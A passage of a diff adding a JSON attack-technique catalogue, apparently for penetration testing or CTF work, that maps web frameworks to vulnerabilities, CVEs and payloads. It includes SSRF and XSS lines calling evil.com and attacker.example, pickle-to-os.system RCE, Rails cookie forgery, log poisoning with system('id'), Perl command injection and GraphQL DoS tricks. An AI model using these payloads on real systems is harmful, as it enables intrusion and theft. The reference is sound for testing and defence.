+ "POST /actuator/loggers/org.springframework.security {configuredLevel:TRACE} then harvest /actuator/logfile",
213
+ "GET ;@evil.com/url matrix-parameter pathname confusion → SSRF"
214
+ ]
215
+ },
216
+ {
217
+ "framework": "JSP",
218
+ "signals": [
219
+ "*.jsp / *.do extensions",
220
+ "JSESSIONID cookie + Tomcat error pages",
221
+ "JSTL/EL ${} expression usage"
222
+ ],
223
+ "vulns": [
224
+ "getContextPath() link manipulation → XSS via protocol-relative URL injection",
225
+ "EL / JSTL expression injection in templates",
226
+ "Related: Struts2 OGNL / Spring EL RCE families"
227
+ ],
228
+ "tricks": [
229
+ "/&sol;attacker.example/xss.js&num;/..;/..;/contextPathExample/test.jsp → //attacker.example/xss.js script src XSS",
230
+ "Prepend request.getContextPath() into src/href/action attributes without HTML-attribute encoding",
231
+ "URL-encode then HTML-attribute-encode dynamic values; fixed trusted base to avoid request-controlled origin"
232
+ ]
233
+ },
234
+ {
235
+ "framework": "Python",
236
+ "signals": [
237
+ "eval()/exec()/pickle.loads sinks",
238
+ "SSTI in Jinja2/DTL render paths",
239
+ "pickle/yaml deserialization endpoints"
240
+ ],
241
+ "vulns": [
242
+ "eval/exec expression injection",
243
+ "pickle deserialization → __reduce__ RCE",
244
+ "Python sandbox escapes (load_name/load_const OOB, js2py CVE-2024-28397)",
245
+ "ReportLab/xhtml2pdf triple-bracket [[[...]]] rl_safe_eval RCE (CVE-2023-33733)",
246
+ "Class pollution (Python's prototype pollution)"
247
+ ],
248
+ "tricks": [
249
+ "\"+str(True)+\" probe to confirm expression evaluation vs reflection",
250
+ "pickle class RCE: __reduce__ → os.system",
251
+ "[[[ expression ]]] injection into PDF generation flows (xhtml2pdf)",
252
+ "Subclass-walk object graph for sandbox escape gadgets"
253
+ ]
254
+ },
255
+ {
256
+ "framework": "Go (net/http)",
257
+ "signals": [
258
+ "Go net/http default server headers/behaviour",
259
+ "html/template vs text/template rendering",
260
+ ".go route handlers / ServeMux patterns"
261
+ ],
262
+ "vulns": [
263
+ "ServeMux CONNECT method skips path canonicalization → path traversal/authz bypass",
264
+ "text/template (not html/template) SSTI/XSS",
265
+ "SSRF via proxied request targets",
266
+ "Race-condition / TOCTOU logic bugs"
267
+ ],
268
+ "tricks": [
269
+ "curl --path-as-is -X CONNECT http://target/../flag to bypass cleanPath redirect on ordinary methods",
270
+ "Compare CONNECT vs GET/POST response to detect auth-boundary traversal",
271
+ "Inject {{.}} / template actions into text/template sinks"
272
+ ]
273
+ },
274
+ {
275
+ "framework": "Ruby / Rails",
276
+ "signals": [
277
+ "_session_id cookie (signed+encrypted, secret_key_base derived)",
278
+ "Rack/Sinatra/Rails stack traces + Rack headers",
279
+ "config/master.key, credentials.yml.enc, Gemfile.lock"
280
+ ],
281
+ "vulns": [
282
+ "Arbitrary file upload to config/initializers/ → boot-time RCE (CVE-2024-46986 Camaleon)",
283
+ "Active Storage image transformation command injection (CVE-2025-24293, mini_magick)",
284
+ "Rack::Static LFI / path traversal (CVE-2025-27610)",
285
+ "ReDoS family: Rack Content-Type (CVE-2024-25126), REXML (CVE-2024-49761), CGI cookie (CVE-2025-27219/27220)",
286
+ "Nested mass assignment via permit! on sub-object; secret_key_base → cookie/signed_id forgery; log injection → RCE via load + Pathname.cleanpath"
287
+ ],
288
+ "tricks": [
289
+ "Upload .rb into config/initializers/ or eager-load paths to get boot-time code exec",
290
+ "Forged cookie: ActiveSupport::MessageEncryptor aes-256-gcm + KeyGenerator(secret_key_base) decrypt→modify role→re-sign",
291
+ "Forge signed_id/sgid (find_signed!, GlobalID::Locator.locate_signed) for IDOR→authz bypass",
292
+ "CVE-2025-24293: image_tag blob.variant(params[:t]=>params[:v]) fuzz transform names to reach MiniMagick exec",
293
+ "Log poison: %0A][0]=1;system(\"id\")#://../../../../logs/error.log then load cleanpath-resolved log"
294
+ ]
295
+ },
296
+ {
297
+ "framework": "Perl",
298
+ "signals": [
299
+ ".pl/.pm endpoints + mod_perl handler registration in httpd.conf",
300
+ "CGI.pm / backticks / qx// usage",
301
+ "Dell/EMC-like appliance Perl modules"
302
+ ],
303
+ "vulns": [
304
+ "Command injection via backticks/qx//, one-arg system STRING, two-arg open 'cmd |'",
305
+ "Pre-auth RCE via raw $r->uri() concatenated into shell command (Dell UnityVSA CVE-2025-36604)",
306
+ "IPC::Open3 single-string shell handling + explicit /bin/sh -c sinks"
307
+ ],
308
+ "tricks": [
309
+ "GET /ui/health;id with separators ; && | $() %0A; end-string payloads like ;id#",
310
+ "Unauthenticated login-redirect branch (type=='login') to reach getCASURL backtick sink",
311
+ "Grep for qx//, open\\s*\\(|, system\\(\" and trace sink→$r entry for pre-auth reachability",
312
+ "Patch-diff modules for inconsistent quoting between branches"
313
+ ]
314
+ },
315
+ {
316
+ "framework": "GraphQL",
317
+ "signals": [
318
+ "/graphql, /graphiql, /graphql/console, /api/graphql paths",
319
+ "query{__typename} → {\"data\":{\"__typename\":\"Query\"}}",
320
+ "Introspection __schema responses; engine fingerprints (graphw00f)"
321
+ ],
322
+ "vulns": [
323
+ "Introspection schema disclosure + broken object-level authorization (BOLA) via query variables",
324
+ "DoS via alias/directive/field duplication, array batching, @defer/@stream amplification",
325
+ "CSRF via form-urlencoded/GET + cross-site WebSocket hijacking",
326
+ "Multipart Upload scalar abuse (CSRF, variable reuse, orphan file parts)",
327
+ "Engine CVEs: async-graphql directive overload (CVE-2024-47614), graphql-java ENF depth bypass (CVE-2024-40094), WPGraphQL SSRF→RCE (CVE-2023-23684), Apollo Gateway planner DoS (CVE-2025-32031)"
328
+ ],
329
+ "tricks": [
330
+ "Alias-based brute-force / rate-limit bypass: isValidDiscount1..N in one request; batching 1000s of credential pairs",
331
+ "Bypass introspection filters with newline after __schema, or switch GET/form-urlencoded/WebSocket",
332
+ "APQ is not a safelist: send unknown sha256Hash → on PersistedQueryNotFound resend with full query string",
333
+ "updateProfile(username:INJECT) chained/unauthorized mutations; forged schema via error-based clairvoyance/InQL bruteforcer",
334
+ "@include(if:true) x N and recursive fragments ...A/...B to exhaust planner/parser"
335
+ ]
336
+ }
337
+ ]
338
+ }